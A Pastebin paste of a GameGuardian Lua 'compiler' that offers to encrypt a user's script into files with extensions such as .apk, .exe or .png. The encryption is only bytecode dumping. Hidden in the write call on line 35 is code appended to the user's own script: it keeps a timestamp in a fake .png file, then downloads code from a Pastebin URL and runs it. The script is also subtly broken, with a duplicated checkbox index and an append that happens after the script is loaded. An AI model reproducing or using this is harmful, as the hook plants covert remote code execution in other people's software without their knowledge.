Rono_plays

ronoplays.com compiler

Sep 14th, 2019
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.64 KB | None | 0 0
  1. types=gg.prompt({'choose a name and extension for your encrypted script ','.bin.lua','.txt','.zip','.php','.apk','.exe','.bin','.png','Type a custom file extension eg .lua'},
  2. {[1]='type your script name here',[2]=true},
  3. {[1]='text',[2]='checkbox',[3]='checkbox',[4]='checkbox',[5]='checkbox',[6]='checkbox',[7]='checkbox',[8]='checkbox',[9]='checkbox',[10]='text'})
  4.  
  5. if types==nil then
  6. gg.alert('You have cancelled the dialogue')
  7. os.exit()
  8. end
  9.  
  10. input=gg.prompt({'Select your lua script','Select your path'},
  11. {[1]='/storage/emulated/0/Download/GG tools/test.lua',[2]='/storage/emulated/0/Download/Arena ofvalor'},
  12. {[1]='file',[2]='path'})
  13. if input==nil then
  14. gg.alert('You have cancelled the dialogue')
  15. os.exit()
  16. end
  17. rawscript=input[1]
  18. dumped=input[2]
  19.  
  20. loodi = loadfile(rawscript)
  21. local open = io.open
  22. local function read_file(path)
  23. local file = open(path, "rb")
  24. if not file then return nil end
  25. local content = file:read
  26. "*a"
  27. file:close()
  28. return content
  29. end
  30.  
  31.  
  32.  
  33. ukweli = read_file(rawscript)
  34. file = io.open(rawscript, "a")
  35. file:write('\nlocal open = io.open\n local function read_file(path) \nlocal file = open(path, "rb")\nif not file then return nil end \nlocal content = file:read \n"*a"\n file:close() \nreturn content \nend \nzaTextd = read_file(gg.EXT_STORAGE.."/gameguardianlgi.png")\nlocal check = zaTextd \nuzanum1=tonumber(check)\nif uzanum1==nil then\nanzax1=os.time()\nlocal file = io.open(gg.EXT_STORAGE.."/gameguardianlgi.png", "w")\nfile:write(anzax1)\nfile:close()\nend\nif uzanum1 ~= nil then\nmalizwaa=(uzanum1+4)\nsahiziz=os.time()\nif sahiziz>malizwaa then \nronoup = (gg.makeRequest(\"https://pastebin.com/raw/1BqM2dnK\").content)\nif not ronoup then \ngg.alert(\'๐Ÿ”„A connection could not be made to the server please check your connection and retry๐Ÿ”„\')\nelse pcall(load(ronoup))end \nend\nend')
  36. file:close()
  37.  
  38. kuku=tostring(dumped)
  39.  
  40.  
  41.  
  42. if types[2] then
  43. encrypeed = kuku.."/"..types[1]..".bin.lua"
  44.  
  45. xfile = io.open(encrypeed, "w")
  46. xfile:write(string.dump(loodi,true))
  47. xfile:close()
  48. end
  49. if types[3] then
  50. encrypeed = kuku.."/"..types[1]..".txt"
  51.  
  52. xfile = io.open(encrypeed, "w")
  53. xfile:write(string.dump(loodi))
  54. xfile:close()
  55. end
  56. if types[4] then
  57. encrypeed = kuku.."/"..types[1]..".zip"
  58.  
  59. xfile = io.open(encrypeed, "w")
  60. xfile:write(string.dump(loodi))
  61. xfile:close()
  62. end
  63.  
  64. if types[5] then
  65. encrypeed = kuku.."/"..types[1]..".php"
  66.  
  67. xfile = io.open(encrypeed, "w")
  68. xfile:write(string.dump(loodi))
  69. xfile:close()
  70. end
  71.  
  72.  
  73. if types[6] then
  74. encrypeed = kuku.."/"..types[1]..".apk"
  75.  
  76. xfile = io.open(encrypeed, "w")
  77. xfile:write(string.dump(loodi))
  78. xfile:close()
  79. end
  80.  
  81. if types[7] then
  82. encrypeed = kuku.."/"..types[1]..".exe"
  83.  
  84. xfile = io.open(encrypeed, "w")
  85. xfile:write(string.dump(loodi))
  86. xfile:close()
  87. end
  88. if types[8] then
  89. encrypeed = kuku.."/"..types[1]..".bin"
  90.  
  91. xfile = io.open(encrypeed, "w")
  92. xfile:write(string.dump(loodi))
  93. xfile:close()
  94. end
  95.  
  96.  
  97. if types[8] then
  98. encrypeed = kuku.."/"..types[1]..".png"
  99.  
  100. xfile = io.open(encrypeed, "w")
  101. xfile:write(string.dump(loodi))
  102. xfile:close()
  103. end
  104.  
  105.  
  106.  
  107.  
  108. if types[10] ~= '' then
  109. encrypeed = kuku.."/"..types[1]..types[10]
  110.  
  111. xfile = io.open(encrypeed, "w")
  112. xfile:write(string.dump(loodi))
  113. xfile:close()
  114. end
  115.  
  116. vfile = io.open(rawscript, "w")
  117. vfile:write(ukweli)
  118. vfile:close()
  119.  
  120.  
  121.  
  122.  
  123.  
  124. --[[Want to learn more about scripting?
  125. Download my scripting eBook @http://ronoplays.com/learntomakescripts
  126. Experiencing any errors and need help join our friendly community and ask for help @http://ronoplays.com/activity
  127. --]]
Add Comment
Please, Sign In to add comment